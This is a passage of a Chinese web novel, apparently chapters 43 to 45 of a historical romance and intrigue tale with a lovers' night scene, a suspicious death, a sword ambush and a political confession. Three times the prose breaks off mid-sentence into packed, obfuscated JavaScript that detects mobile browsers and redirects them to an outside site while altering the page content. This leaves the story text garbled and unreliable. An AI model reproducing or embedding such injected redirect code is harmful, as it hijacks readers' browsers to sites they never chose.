杨君游自回家来,被小妹灌输了许多故事,却没听过这么一位“朋友”,“谁家的公子?叫什么?几岁了?” 杨淑贤知道自己这兄长素来严谨,有时较起真来比父亲杨献还像个老学究,不想说,又不得不说,但陆冬至的情况也简单,几句话便说清楚了。 “就这些了,但他几岁我不知道。” 杨君游忖度了片刻,脸上倒没什么情绪。 “阿兄,怎么了?”杨淑贤看不出意思,挽过兄长的胳膊,轻轻摇了摇,“你不喜欢他?” 杨君游却一笑,抬起另一只手抚了抚淑贤的脑袋,“我还不认识他,但,你可别欺负人家,他怕你。” “嗯?”杨淑贤秀眉一皱,“我没有,你几时看见了?” 杨君游含笑转身,上马之际才道:“他一见你,行礼时手都搭反了,还不是怕了你?” “有吗?”杨淑贤提着裙角追上兄长,按下了他的马鞭,“我刚刚态度很好啊,一点都不凶。” “那你一定凶过他,哈哈哈……” …… 姚宜若自春闱一举得名,姚家的门庭更比长兄受皇恩眷顾时热闹,隔三差五都会有人登门拜访结交。姚宜若虽不热衷此道,却也不便拒绝,徒惹非议。 这日,姚宜若才在府门送罢访客,恰见长兄下职归来,兄弟便一道进了内堂,谈讲起来,却只见长兄满面郁容,“阿兄身体不适么?近日听闻阿兄接掌了时症预防一事,可是为此过于劳心?” 姚宜苏只一笑,“这不算什么,倒是你,集贤殿学士众多,也不乏资历深厚者,没人欺负你吧?” “不会的,他们都知道阿兄有宠于陛下,就算不喜,岂会宣之于口。”姚宜若看得出兄长笑意中的苦涩,思及前后的事,大略也懂,“阿兄,有些事,该放下了。” 姚宜苏目光凝住,缓了缓只道:“我的事我自己有数,你有空就去多陪陪淑真,有孕三月尚不算稳,你要护好了她。我不在时,泽兰就交给金氏的母亲看待吧,不必淑真再费心。” 杨淑真其实早在春闱之前就已受孕,只是夫妻俩都没发觉,如今正是双喜临门。 “我知道,我不会让她累着的。”然而,姚宜若目下更关切的是长兄,“阿兄曾答应我,要与我事事共担,你若当真有什么过不去的地方,千万不能瞒着我。” 姚宜苏又有许久没出声,再抬眼时,已见弟弟来到了身前,就像小时候那么仰望着他,“我没事,只要你们好,我便放心。” “阿兄,事无尽美,强求无益,你已经很累了,不要再给自己加担子了。无论如何,你还有我们,有兰儿,我们一起好好把兰儿带大,若这孩子来日能出落得好,便也不负了。” 不负,不负谁,当真会么? “阿兄,你岂不知这孩子的名字取之何意?泽兰,性苦而味辛,是去痛散瘀的良药。她望这孩子,虽生而失恃,无限凄苦,却能一生无痛无灾,顺遂平安。” 姚宜苏自然知晓这区区一味药的药性,可他的眼睛怔怔看着弟弟,却好似第一回听闻。 可谁的一生能做到无痛无灾,顺遂平安呢? …… “你几天不来,来了就带这几块饼啊?” 夜雨隔窗,重帘垂地,灯檠三盏,男女一双。 “谢探微,你只看我做什么?我问你话呢。”露微坐于榻上,手里端着摊开的麻纸,五块饼餤整齐排在上头。 谢探微其实刚进来不久,坐在杌凳上,才将双手擦净,反将饼餤从露微手上拿开了,“只是给你看看,这几块做做样子还不够?” “啊?”露微并不是计较饼餤多少,可敷衍也不至于这么直接吧?想了想,觉得有古怪,便要掀开被子,伸腿下榻,但也不及触地,就被谢探微一手顶了回去。 “不许乱动。” 露微的两个脚腕被谢探微握在一只掌中,动不了,却忽觉这掌心有些凉,再往下一看,地上都是水迹,谢探微浅色的袍服自膝盖往下都深了一层,“外面下得很大吗?” “刚刚来时有一阵,现在小了,你听声音。”谢探微一笑,起身将露微抱回了榻上靠好,“没关系,我不冷。” 露微没让这人再坐回去,一手拉着他的领口,一手拍了拍榻沿,“坐这里,离我近点。” 谢探微抿唇一笑,顺势坐下,目光款款拂去,“饼餤多用糖膏,吃多了犯腻,面皮也不够松软,恐你现在不好消化。等你好了,你要多少我给你买多少,行不行?” 原来是这个原因,但露微此刻早不关心饼餤了,心里思量着什么,身体往内挪了挪,“你,上来。” 虽然两人已经多有亲密之举,但,还不至于同床共枕,这道界,谢探微觉得还不能越,“微微,别闹,如此,不可。” 露微亦是略含羞的,但缓而,还是抬起双手伸进了他的腰间,将他的腰带解了,扣带松开的那一瞬,只觉谢探微腰背一挺,浑身都僵直了。 露微并没停下,贴靠着他,一点点拨脱着他的外袍,“你抬抬手。” “微微,知道自己在干什么吗?”谢探微将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672781|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手压紧,脸色泛起潮红,喘息渐重,“你还在生病啊。” 露微却笑出来,倾身抱住了他,在他耳畔吐息:“反正你要娶我的,不是吗?” 谢探微在抖,说不出话,唯有吞咽之声,也还是动不得。 忽然这时—— “娘子,家翁来看你了,你可是要歇下了?” 隔着门户,是雪信的声音。 露微的身体顿时瘫软,全靠谢探微僵硬的骨骼撑住,然而,谢探微不能出声,她也不说话?! “阿耶,我已经躺下了,”千钧一发之际,露微反应过来了,雪信的措辞是在提醒她,“我没事!” 话音传去,外头听见两声轻咳,“微微,早些休息,身体未愈,不要熬夜。” “是,阿耶也早些歇了吧。” 父亲应无要进来的意思,但露微吓得浑身冒冷汗,伏在谢探微肩上,根本无力去熄灯,只觑眼窗户,看有无人影移动。 但,窗外一时无人,谢探微却突然翻身将她压倒,带着她滚到了卧榻内侧,而刚刚停下,那窗纱上就走过了一个身影。 “别怕,你父亲走了。” 如此避祸,颇是诡异,然而,也真的避过了。 “你还有这个本事呢?”面孔相对,鼻尖相碰,露微轻声道,“不端着了?” 谢探微含笑咬唇,外袍已被露微脱了一半,方才动作过激,发巾也松了,束发散下来,正与露微的一头青丝搅在一起,“生气了?” 露微撇撇嘴,半低眼眉,“我原只是想让你把湿的衣服鞋袜脱下来晾晾。” “那你为什么不直说?逗我?”谢探微的笑扬了又扬,根本含不住了,“结果反把自己吓到了,傻不傻?” 露微确实没料到会有惊险,父亲从未夜晚来过,可这人说得轻飘飘的,好像不是因他而起似的,“烦人。” 谢探微把露微颊上的惭红细细收进眼底,忽抬起头,向露微额上轻轻一吻,“好,是我傻,我其实也当真了。” 露微不禁忍笑,挑出一缕头发在拇指间缠绕,心曲铮铮,不再言之于口。 谢探微都瞧得懂,只静静看着,抬手捋过覆在她额上的碎发,却忽一顿,“这伤口,还是留了痕迹了。” 露微知他指尖停住的位置,正是一年前去杜石羽府前做戏时所伤,“没人能靠我这么近,只有你能看出来,没关系。” “当时我都还不理你,你怎会为了帮我出气,去做这样的事?”谢探微愧疚起来,将露微搂近,让她枕在自己臂上。 “因为你放了我,我想报答你。”虽隔着几层衣服,露微也能感觉到谢探微的手臂很紧实,枕得颇稳,她闭上了双眼。 “被你抓住的那天,我才被姚家赶出来。所以,你也是我最落魄时,第一个对我好的人,我更想报答你了。” “可我后来送金疮药给你,怕也是无意中伤了你吧?”谢探微的气息不觉沉顿。 “我没那么容易被伤到。”露微笑了笑,“只是当时确实感叹,怎会是你送他制的药来给我呢?我终究是从未受过他的疗治的,因此,身上还留了别的疤痕,有一天,你都会看见的。” 谢探微不言,但心中不平静。 露微瞧不见他的面容,但自有衡量,手臂环住了他的腰,“我多想早些遇见你啊,可是当年,我也好喜欢,好喜欢他……凡是咸京官宦门户,哪有刚满婚龄就把女儿嫁出去的,总归要过了及笄礼,是我自己亲口对阿耶说,我喜欢他,阿耶才早早遵了婚约……” “微微,你可以不用说的,我从未在乎。”谢探微感觉到衣袖在一点点被湿透,抬起想要拍抚的手,却也颤抖地悬在半空。 露微要说,这些详细的往事,是她人生中不可割裂的一部分,谢探微是她想共度余生的人,便应该坦诚告之。 “自新婚夜,他虽与我同床共枕,却从不碰我,后来,他乳母之女金氏就怀孕了,这个孩子就是泽兰。金氏柔顺,对我很恭敬,但我也不敢与她多来往,我没有底气。可金氏命舛,孩子早产,又是倒生,等姚宜苏回家时,早已血流不止,孩子的命都是从阎罗手里抢回来的。” “那你……”谢探微悬着的手终于放了下去,依然颤抖,和他的气息一样,“为何还要抚养这个孩子?因为嫡母的身份?” 露微深吸了口气,极力咽忍,“因为,泽兰满月的那天,我也没有阿娘了。” 谢探微心上犹如重锤砸下,生生闷痛,只有切齿咬住。 “我可能就是从那时起,对姚宜苏断了心思。可谢探微,你来得太晚了,又太巧了,我竟不知要如何待你,才算尽心。” “好了!不许说了!”谢探微发出低吼,将露微紧紧摁入胸膛,“你不知,我也不要你知,我心知,非你不可,便是了。” 三盏灯烛忽然同时燃尽了,屋室变得一片漆黑,雨还在下,也无星月的光照透进来。 然而,正是此心安处。 44.水落 昭成寺的桃林又到了绚烂之时。 露微病愈了,将去复职的前一日,与谢探微相约于此。 旧地重游,心境已大不同。 “我以为你今日出不来呢。”谢探微牵着露微的手,侧脸笑看,露微发间别无饰物,唯是一株丝绢桃花斜插鬓边。 “阿耶为我连日不朝,他一出门我便溜了,反正要是他回来知道了,我就说是你把我骗出来的。” 露微病了前后旬日,谢探微就夤夜潜入了三四回,如今只摆出一副胆肥皮厚的样子,说道:“那要是他打我呢?也抽我二十鞭,你管不管?” 露微眼珠一转,丢开了他的手,摇头,“管不了,我阿耶都能把阿兄赶出家门,何况你这么个小子,我可拦不住!” 谢探微眯起眼看露微,眉头高挑,“你再说一次?” 露微咬唇忍笑,一边摇头,一边跑远了。谢探微岂是追不上,跨去两步,伸手就够到了,却恰抓在露微的衣袖上,衣料丝滑,又被她脱开了。 “微微,你慢点!” 此地正是桃林山道,颇有些高低不平,路上还有碎石子,谢探微只担心她脚下不稳,很快就收了玩心,可露微忽然也不笑闹了,停步道旁,眼睛看向道下低谷处。 谢探微也放眼看去,只见一座坟茔前跪着一个啜泣的小女。目下虽说已过清明,但祭奠先人也不受限。可令人奇怪的是,这座坟前并无墓碑,就只一个坟包。 看了片刻,谢探微将眼睛转回露微脸上,却不止瞧出了好奇,“微微,有何不妥?” 露微是在梳理思绪,缓缓才道:“我们见过她的,她就是杜石羽之妻王氏的婢女,你再想想?王氏早便寄居寺内,不知后来怎样,但这恐怕就是王氏的坟茔了。” 谢探微并没盯着那女子的脸看,但也记起来了,二人于去岁春暮在此偶遇,便在寺内厢房巧见了王氏。 他没想到匆匆一幕能让露微记这么久,而露微也并不知,“杜石羽”如今牵扯着什么事,谢探微深深想来,不能多言。 便正想带露微远离,还不及说,只见露微沿着斜坡下去了,追上了将要离开的婢女。 “这位娘子,有什么事吗?”小婢泪痕未干,打量着二人。 露微是心生同情,想起王氏也算是她无意连累,“我是你家夫人从前旧友,曾见过你,敢问此处葬的可就是王夫人?我知道你家遭逢变故,可瞧着夫人一向是体健的呀!” 小婢倒不怀疑,又哭了出来,承认坟中正是葬了王氏,“奴婢也不知道为什么!两个月前,还是正月里一日,奴婢照常出去采买,可回来就出了大事,夫人衣衫不整,竟暴毙房中。问了寺内僧人也没见有什么贼人,还是大白天啊!” 暴毙?! “那你就不曾报京兆府叫仵作验尸?!”露微只觉匪夷所思,上前拉住小婢,“就这么埋了?” “微微!”谢探微一直陪在身后,自知此事多有蹊跷,不想让露微深究,“不要管了,我带你回家。” “这是条人命,又干系咸京治安,也算是你的职责,为何不管?”露微瞧不明白谢探微的脸色,复转向小婢: “昭成寺是佛门清净地,女客本少,岂有人敢白天到此行凶?既行凶时又无人发现,便是没什么动静,难不成贼人是你夫人自己放进门的?可还记得当时房中情形?” 句句切中要害,谢探微根本追不上露微这聪明的脑袋,只有一叹,替她捏着心。 小婢无依无靠,能将王氏入土为安已是不易,想来还是哭哭啼啼不停,“奴婢回来时,房门开着,屋里就只榻上凌乱,夫人……夫人浑身……奴婢不想污了夫人名节,所以才不曾报官,毕竟,毕竟她还一直在等着家君回来与她重修旧好。” “杜石羽去哪儿了?当真没有回来过?”谢探微抢了一句,脸色肃穆,又将露微拉到了身后,压了压眉眼,不让她再说话。 谢探微分明是官差问讯之态,声调严厉,小婢一惊,更不知轻重,只颤道:“没有,没有,家君听说是去了南营州找什么旧友,就再没了消息!” “你最好说的都是实话!” 小婢再无所知,瘫软在地。 露微至此,百问丛生,硬拖着谢探微走远了几步,问道:“你不是知道杜石羽去了南营州么?还问什么?难道你怀疑王氏是被杜石羽所害?可杜石羽已经休妻了,又千里迢迢回来杀妻,这没有理由啊!” 谢探微一个问题也解答不了,只将露微深深揽进怀中,“微微,听话,我现在送你回家,然后就去查这件案子,有结果了就告诉你,好不好?” “我跟你一起去!”谢探微的异样明显,露微早已察觉了。 “不行!” 谢探微斩钉截铁,喊得近乎呵斥,尽管看到露微神色一惊,却也没有心软解释。 …… 回家路上,两人不言一语。 露微不时打量谢探微的表情,却都见他目不斜视,透着不容侵犯之感。她从未见谢探微如此正色,就算最初犯禁被抓,他过来质问,也不如现在骇人。 难不成王氏之死深有玄机? “你想怎么查?从何查起?” 到了崇贤坊坊门下,分开之际,露微终究试着问了句。然而,谢探微也毫无松懈,只将目光稍稍低了: “我自有道理,你信我便是。” 说了等于没说。 露微知道是不能从这幅冷淡的面孔里问出什么了,想了想,一点头,转身走了。 坊门离赵府还隔着条街,原是怕惊动家人才在此处分开,可露微虽未迁延,转过街来,却也没有进家门。 她是没问出什么,但不等于脑袋空空。 王氏白日受辱被害,却无人发觉,那来者只能是熟人,才可让王氏主动开门,行此奸事。然则,王氏素来善妒,都是因为深爱杜石羽,便被休之后还是希望破镜重圆,那便断不可能让别的男人近身。 而设若是寻常的作奸犯科之徒,也不会选在佛寺作案,那么,凶手十有八九只能是杜石羽。可正如露微反问谢探微的那句,杜石羽既已远奔旧友,与前妻一刀两断,又何必千里杀妻? 不过,露微虽一时难解此问,却知道关键在于找到杜石羽,若能证明杜石羽已回咸京,便可直接报官提人来问。 那杜石羽能在何处呢?杜家的老宅已随杜石羽罢官封没,不大可能成为他的藏身之地。然则,露微很快又想起了一处,便是杜石羽蓄养私娼的保宁坊外宅。 择日不如撞日,露微想去探一探。 …… 谢探微目送露微直至不见,便直接奔赴了皇城金吾卫官署。到时,晏令白正与诸将查问军务,他知道谢探微今日是夜间上职,此刻出现不太寻常,便很快将人叫进了职房内室。 谢探微也不必晏令白问,关了门,一刻不歇地把事情交代了一遍,虽急又稳,毫无遗漏: “阿父你想,李元珍是正月抵京的,王氏便是正月出事的,若当真杜石羽也随李元珍回来了,那凶手八成就是他。我猜王氏是不是知道杜石羽勾结李元珍之事,但杜石羽走时匆忙,如今便回来杀人灭口。” 晏令白听来不算惊讶,扶着谢探微的肩,“杜石羽离京后,我其实已命人探查过王氏,只是旁观其举动,并无收获。如今看来,事情倒越发明朗了。” 谢探微点头,心中也越发清晰:“先前赵家流言四起,阿父说过是李元珍身边有个熟知赵家内事的军师,才能有此计谋。那不就全对上了吗?杜石羽是赵太傅的门生,数十年的交往,恐怕都是看着赵家儿女长大的,岂不深知内情?!” 晏令白沉思了片刻,负在身后的手捏紧,半晌忽一皱眉,“这些话你没有同露微说吧?她问起来,你是怎么回的?” 想起露微的反应,谢探微只是后怕,直是叹气摇头:“她也就是不知道大事,若知道,那脑子快得,恐怕阿父你都追不上!我唯有告诉她去查案,查出结果再说。” 晏令白不知该喜该忧,却都不能显露面上。 …… 保宁坊在咸京南角,距离崇贤坊所在的城西颇有些距离。露微既不便动用家中车马,走了一段,又怕来回时间不够,便想起雇上一辆马车。 马车倒是随处可见,但正当她向街边车夫招手时,忽是一匹疾驰的马儿在眼前刹住了—— “微微!为什么还没回家?” 分开不过两三刻,真是冤家路窄。 “那你呢?就在大街上查案? 谢探微不答,跳下马来,也不由露微分说,抱起人就塞上了马背,“这次我非得看你进家门!就是惊动你父亲我也不怕!” 这马背比露微人还高,她无可逃脱,可更不想就此放弃,情急之下倾身按住了谢探微拉高的缰绳,“你先听我说!若我知道杜石羽在何处,你信不信?!” 露微的动作险些惊了马,幸而谢探微反应及时,将人稳住,正没了耐心要生气,这话却让他猛然失了神,“你说,什么?”他紧握缰绳的手勒出了深深的红痕。 “谢探微,你有事瞒着我对不对?”露微再猜不透他的心思,可表面的举动是很浅显的,“我不瞒你,我带你去,你也告诉我,好不好?” …… 保宁坊,安乐巷。 两人站在正对巷口的树下观察里头的情形,巷子并不深,从东到西就只五户人家,而目标在东头第一户。天时还早,也时有行人进出,似乎并无特殊之处。 为免杜石羽就在此处,直接惊动,谢探微先拦人问询了一番,却连着几个都说那一户早没人住了,再问及宅子的主人是谁,也都说并不清楚。 “住这么近都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683269|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不清楚,哪有这样的邻居?别的不知,那王氏来捉奸,也就是一年前的事,当时闹得全城皆知,此事竟也不提?我们还是自己进去看看吧!” 露微只看着巷内自顾地分析着长短,待回头再看谢探微,这人只是叹气,无奈地紧: “微微,也许杜石羽并不在此,我们回去吧。” 谢探微尚未坦陈一切,但露微的坦然,却让他不能再放任回避,只有陪着走一趟。他亦自责,该早些想起来,露微卷入这些事其实比他还早。 然而,露微既又点明了怪异之处,便是不肯轻易离开的,皱眉道:“谢探微,现在不是你敷衍我的时候。” 谢探微无谓为自己解释,将露微的手牵得更紧,“跟好我,不要松开。” 谢探微护着露微走进巷内,但除了看前路,也留意着路过的门户,都是闭着的。到了第一户前,正要先听听里面的动静,却忽然吱呀一声,门自行透开了一条缝。 如此,内边似乎也没有动静。 谢探微侧脸看向露微,并不踏步,也未再推门。 “怎么了?” 谢探微脸上一无表情,露微看不出他要做什么,便放眼门缝之间,只觉扑面一股凉风。 巷道不宽,夹道而生风,也是冷的。 人呢?尚不到申时,刚刚还在巷中行走来往的人忽而都没了,只剩他们二人了。 不对,不对,只有五户人家,家家闭户,哪来的行人?! 四目相对,露微骤然读懂了谢探微的意思——可,来不及了——就是这一刹,左右门户中突然冲出数个人影,两人肩后猛被一推,立刻倾身撞进了门里。 力道极大,防备已晚,即使谢探微千钧之际勉力拉住了露微,二人还是绊在门槛上,一齐重重倒地。 “微微!” 落地的后劲让两人又在地上蹭出几步之远,谢探微始终不曾松手,顾不及包围院中的蒙面人,只先将露微拽到了怀中。露微惊得魂魄离身,目光一顿一顿。 门户已紧紧关上,这一进院落已与外界隔离。 “你们可知天子脚下,伤了金吾卫是何后果?!” 谢探微是行伍之人,他之惊并不是怕,此刻扶着露微站起身,先报上家门,环视一圈,已有定论: “你们是听命于杜石羽,亦或是,李元珍?” 环立院中的蒙面人皆手持刀剑,谢探微此言一出,便有为首一人跨出列来,逼近言道: “不管是谁,你们来错了地方,就别想活着出去!” “是吗?”谢探微轻笑,目光凛然直视,略一低头,与露微耳畔递话,“微微,闭眼,别看。” 露微没有完全失去判断的意识,方才听见李元珍的名字,在极度震惊之下,竟反而恢复了几分心神。她知道,谢探微没带随身的佩剑,是想夺了此人的剑。 她不能只是闭眼不看,还需谢探微分心,而是要给他足够的施展空间——“谢探微,一切小心!” 说话的同时,露微用力缩下身躯,从谢探微臂下脱出,曲着身子退到了院廊的柱墩旁。 就这眨眼的间隙,谢探微抬脚一踢,正中此人举剑的手肘,手松剑抛,被他一跃稳稳拿住。再下一刻,原本对准谢探微的剑锋便已刺破了这人的咽喉。 血迹飞溅,寒影四射。 “谢探微,小心身后!” 只一见血,剩余的几人都冲向了谢探微。露微已不知惊吓为何物,眼睛跟着剑锋游走,生怕谢探微被从盲处偷袭。 谢探微是上过战场的武官,只觉这些人虽招式极快,却仍不算什么大场面,剑刃挥挑扭转之间,又已取了数条性命。 然而—— “微微,快躲开!!” 露微只是一直紧紧靠着廊柱,可眼睛从没为自己防着,听到谢探微高喊时,身侧已刺来一剑—— 剑锋停在了耳畔。 谢探微先一步刺穿了这人的胸腔,而剑锋未尝一停,倒转刺去,顷刻间取了身后扑来的两人性命。 所有人都解决了。 “没事了!没事了!别看,别看!” 谢探微丢了手里的剑,一把将露微抱入了怀里,血污的脸上到此时才显露无尽忧急。可露微还是睁大了眼睛,看着满地尸首,鬓边的发丝上正有血珠不断滴下。 “谢探微,这到底是怎么回事啊?我竟……差点,我竟差点,要了,我竟差点要了你的命啊!” 谢探微五内颤抖,捧住露微的脸,喘息不已,“微微,你看着我,我没事,一点伤都没有!你不知道会这样,不怪你!不怪你!” 血泪在脸上混沌,露微再也说不出话来,视线开始变得模糊,终究失去了意识。 “微微!微微!” 谢探微自顾喊着,却没发觉,他们身后有一人步步靠近了。 45.石出 昏沉一梦,似梦似真。 露微再睁眼时,躺在一张宽敞的榻上,然而,这屋子她不认得,守在榻下的人,更让她不可思议。 “谢探微呢?” 相视片刻,露微断然将心绪从惊疑中剥离开,目光冷静,亦表露十分的戒备。 对面的人也并无太多分明的表情,“他一人,对十人,却只沾了他人的血,自身毫无损伤,想必战场骁勇,万不能敌。” 露微自还记得当时的场面,也听谢探微自己说了并没受伤,然则,她还不及检查,所以这答非所问的话,反是能令她安心的。 毕竟,这话出自国朝最善治外伤的医官,姚宜苏之口。 “我问你,人呢?” 姚宜苏将身躯挺直了些,却又低了低眼,“在外头马车里,有阿林看着。我用针刺他椎穴,能让他睡上半日,有话同你说,不想他来打搅。” 保宁坊那条巷子深有奥义,这已是明显的事实,但目前能确定的就只是杜石羽和李元珍有联系,也不过是听谢探微与人对峙时提了一句。中间还有太多的谜团,恐怕也不止是谢探微不肯相告。 所以,姚宜苏虽然也是个谜,却是带着谜底来的。 露微愿意听他说。 “说吧,你为何会出现在那里,又何时成了李元珍的人?” 姚宜苏平视露微,目光似定住,缓而才道,“若我说,我是为了你,想借他的势,你可信?” 露微一顿,想来合理,却又无法疏通,“从我父亲贬官到近日流言,无不牵扯李元珍,我一直不解赵家究竟与他有何过节,可他虽贵为亲王,却似乎并无实权,你借他什么势?既借了,却不是对准谢家,打压谢探微,又如何叫做为了我?” 姚宜苏深深吸气,眼中渗出一丝笑意,“露微,你焉知他没有对付谢家,而你既有此思谋,又岂不觉,赵家、谢家,还有那位晏大将军,三者实则是如一的?” “什么叫,三者如一?”露微没听懂,但莫名打了个寒颤。 姚宜苏添了几分笑意,却是越发冷静的,“李元珍密图悖逆,居心难问,至今已有二十年。” 露微活还没活足二十年,姚宜苏也不过二十六七,而这话的重音都在压在了“二十年”上——露微已知晓分量了,不再思问,专心地听姚宜苏说了下去。 良久。 “露微,姚家门第不高,又中道衰落,我先前所学所为皆是为了承续祖业,可如今,我把自己交给李元珍,只是为了你,这下,你可信了吗?” 露微听来虽表面纹丝未动,心里却已几番波澜,但她也并非承受不来,“李元珍用你,定是知你底细的,他难道不忌讳你与楚王妃的旧交?如此,你竟也能信他会帮你?” 姚宜苏淡然一笑:“我无须知他为何不忌讳,只需知他不忌讳便可,我更知我心中,如今,只有你。他帮我,正如你说,他偏居多年,并无实权,用不得如赵家谢家这般的重臣,便只能另辟蹊径。” 露微还是并不急于反驳他所谓的表白,心里的浮沙渐渐沉底,“姚宜苏,世人只知你风姿卓然,少年玉貌,却不想面皮之下,剑戟森森,你实在不该只是一个医官。” “我是长子,责有攸归。”姚宜苏紧接着道,“并无所憾。” 露微皱起了眉,觉得自己仍不算看透他,也想起父亲曾说,看着他长大,却也是知人知面不知心。 “那你怎知,李元珍就一定会赢?你对我和盘托出,不怕我明天就面陈君王?” 姚宜苏轻摇头:“我只想我赢,而且你空口无凭,三家尊长也不会许你轻举妄动。” “他输了,你怎么赢?!姚家也会跟着你陪葬!” 露微第一次激动了起来,高喊,想着才刚入仕的姚仲芫,想着才从贤儿口中得知的淑真怀孕的喜讯,想着孤零无依的小泽兰。 然而,姚宜苏没有回答,只站起身坐到了榻边,“露微,你现在不能动怒,我替你看过脉了,你的病虽好了,却又经历了那番场面,惊愕过度,心脾两虚,实在需要静养。” “你!”露微一惊,竟到此时才想到,姚宜苏既知谢探微毫发未损,自己来时已昏迷,一定也是被姚宜苏看疗过的。 然而,她不能。 “让开!”露微推开姚宜苏下了榻,不及穿鞋便赤足冲向房门。 “露微!我并没有碰你,只是寻常看脉!”姚宜苏却不解,大步追来拦住,“你看看自己的衣服,脸上的血,我都没碰!” 露微退开一步,喘息渐重,眼中闪过一丝质疑,旋即转为毅然,“纵使李元珍赢了,你也不可能赢,我可以一辈子都是兰儿的母亲,但再也不可能做你的妻!” “为何?!”姚宜苏眼眶通红,声音低哑而却是切齿的。 露微再无可言,一笑,拔下发间银钗用力扎进了自己的左臂,身上的衣物已满是旁人的血污,自己的血再渗流出来,也并不明显。 “我赵露微,永不受你疗治,这一下是还你的。” …… “……保宁坊安乐巷从来不是杜石羽蓄养外室的私宅,而是李元珍设在咸京的暗署,所谓私娼,也只是掩人耳目。自杜石羽的夫人撞破此处,倒也消停了许久,却又被你误打误撞,确实是天意。我今日到此,原是与他相约在此议事,院中打斗之时,我和他都在暗处看着……” 离开那间屋子,露微才知是被姚宜苏带到了宁人坊的姚家祖宅,而在昏暗的马车里,扶着尚未醒来的谢探微,她的脑子里一直在循环着姚宜苏交代的那些话。 她总算知道,父亲自回京,为何总对她说“朝廷之事,与你无关”,可原来事实却是,千丝万缕早将她绑在其中。 命数如此,她必须承担起来。 “娘子,进太平坊了,阿郎给了他的医官身牌,一路都没有惊动金吾查问,请娘子放心。阿郎还交代,若要谢中候快些醒来,只需按揉他扎针之处便可。” 在外驾车的人是阿林,但露微并不想叫谢探微现在醒来,“把车停在将军府门前,其他的不必你管。” …… 将军府中堂内,夜深露重,灯火通明,三家尊长,悉数到齐。 晏令白自白天听过谢探微的禀报,原是交代他去办一件事,但直到宵禁,也不见人回来。这已是十分反常的了,而紧接着,赵维贞便匆匆而至,开口就问女儿何在。 然而,赵维贞只是从侍女口中知道,露微是相约了谢探微,但晏令白却很快就反应过来,怕是其间出了要紧事,便随即遣人请来了谢道元,连李氏听闻是二人同时失踪,也强要跟了来。 于是,当露微浑身是血地站在他们面前,无一人不脸色煞白,脚步难稳。 “谢尚书,郡主,你们放心,谢探微只是睡着了,并未受伤,我已经让下人扶他回房了。” 第一句话,露微只是面对谢家父母,目光带过一旁的晏令白,缓缓停在了赵维贞脸上:“阿耶瞒得我好苦。” 赵维贞意识到了什么,却不敢信,更不知从何信来,颤抖着扶住了女儿,“微微……听话,先跟阿耶回家看伤,听话……” “我没事!”露微高喊了声,似顶撞般抽开了自己的手臂,再一一放眼堂上尊长,忽而跪倒在地,“看来,各位尊长果然都明白,却都不肯告诉我,那我来说,看看,我说的如何。” “孩子,你起来,你先起来再说!” 李氏扑到露微身前,和随后跟来的谢道元一起想要扶起露微,却都被让开。这是露微第二次同见谢家父母,竟是如此境地,心有余悸,再无他言。 漏断三更,堂上唯有露微从容述说之声。 “故而今日,虽是我险铸大错,却焉知不是天意。尊长护我,我亦受挫,尊长宽我,我何独善?昔年读诗,尚知风雨如晦,鸡鸣不已,这浩荡世道,黑白从来同轨,我既寄身宦门,便从来不是一只寒潭孤雁,若至道不闻,不过虚度此生,纵耳聪目明,亦为孤恩负德,大人爱我,难道就是让我浪掷光阴,混沌度日的吗?” 话音掷地,露微挺直身躯,抬起血红的双手向堂上尊长端正地拜下了一礼。 每个人的眼里都是无尽的惊痛,但,唯有从头至尾不言一句的晏令白,眼中更多了些深意,露微一时不解。 …… “乔娘,我真的没事,你先回家,等下,我自己回去就好。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699424|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >将军府的厢房小院,还是露微从前住时的样子。也是昨夜跟随赵维贞而来的乔晴霞正帮露微梳洗更衣,她之疼惜,不在赵维贞众人之下,然而,也无从议论这样泼天大事。 “娘子还有什么事没说完?硬把家翁劝走,我再走了谁看着你?”乔氏望着唇色青白的露微,早是泪流不止。 露微确也有些精力不济,只一笑道:“原定是今日复职,我不能去,可以说病情反复,还需告假,可若阿耶再不去,岂不令人察觉?这些事,乔娘莫管。你现在去帮我问问,将军还在不在府里。” 提到晏令白,又是在此刻,乔氏自是不愿,但门外忽然轻咳了两声,晏令白的脚步已悄然而至。 乔氏一步三回望,终究还是回避了出去。 “将军,我还有些事,只能同你说。” 露微立马迎了上去,同先前每次和晏令白单独交谈时一样,满怀信任。但晏令白却似迟疑,目光又是略显闪躲的,只将露微扶回平榻坐好,才一言: “露微,是我的错,你不要怪任何人,一切都是我的错。” 露微愣了愣,本是有实在事要禀告,也从无怪责,“将军,我堂上之意并非怪谁,我已解释了,而且,这原非将军之故,是我阿耶从头便瞒着家里,就算阿兄跟去了零陵,也一无所知。” 